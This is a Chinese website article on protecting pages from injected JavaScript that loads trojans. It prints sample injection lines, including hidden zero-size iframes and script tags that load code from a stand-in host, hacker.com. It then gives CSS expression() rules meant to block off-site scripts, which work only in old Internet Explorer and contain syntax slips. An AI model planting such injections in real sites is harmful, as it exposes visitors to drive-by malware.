文墨网
 
     
 


  


代码 >> 代码粗放 >> 添加代码防止网站被JS挂马    热   

添加代码防止网站被JS挂马
作者:文墨网    来源:本站原创    点击数:2164

防患于未然 添加代码防止网站被JS挂马

  现在最多见的JS挂马方法有两种,一种是直接将&#106avascript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

  这种方法使用的关键代码如下:

  window.open(http://www.hacker.com/木马.html,,toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1);

  这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

  另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src=网页木马地址 ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:

  <script src=http://www.hacker.com/木马脚本.js></script>

  或者

  document.write(<div style='display:none'>)
  document.write(<iframe src=网页木马地址 width=0 height=0 scrolling=no frameborder=0></iframe>)
  document.write(</div>)

  就成功地将木马挂到了对方的网页中了。

  小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:

  <div style=behaviour: url(http://www.hacker.com/木马脚本.js);>
  或者:
  <iframe src=&#118bscript:[挂马脚本]>

  防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

  iframe{mdy1:expression(this.src='about&#58blank',this.outerHTML='');}
  script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

  不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

  所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。

  让JS木马的进程迅速中止

  在 <head> </head> 之间加入如下代码:
  
    屏蔽script和iframe

  <style type=text/css id=LinrStudio>
  /*<![CDATA[*/
  iframe{nhk1:expression(this.src='about&#58blank',this.outerHTML='');}
  script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');
  /*]]>*/
  </style>

  单屏蔽script

  <style type=text/css id=LinrStudio>
  /*<![CDATA[*/
  /*iframe{nhk1:expression(this.src='about&#58blank',this.outerHTML='');}*/
  script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
  /*]]>*/
  </style>


  • 看了这篇,我也想发表一篇

  • 翻阅本站全部篇目 >> 翻阅本栏其它篇目:
  • >> 代码 >> 代码粗放 >> 添加代码防止网站被JS挂马

    评论(已关闭)】【打印此文】【关闭窗口

     最新5篇热力推荐文章
  • 刘宝军《自白》[2905]

  • 刘宝军《六月的质感----2012年学...[4997]

  • 《词综》(卷三)五代十国词七十...[17646]

  • 秋水霞衣《点绛唇·初临文墨网》...[4023]

  • 刘宝军《倴城,太阳落山了,灯光...[4196]

  •  相关文章
  • 记几个网址[1535]

  • 怎样清除系统中的木马病毒[1796]

  • 记录:以表列TD作为长竖线的各种颜色和宽度[2076]

  • 回答问题:整理了一小时的资料不让发!怎么办?[1963]

  • 百度搜索的几个命令与技巧[9455]

  • 网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)【回复网友(已关闭)
        没有任何评论
    文墨网底部
     
     


     
    版权所有:文墨网 公安备案号13022402000106 冀ICP备17009013号-1 ©2002-2021  

    电话:13603371339 地址:河北唐山滦南倴城

    联系站长| 上传空间
    文墨网 | 网站制作文墨网(QQ7722629)| 程序友谊网络科技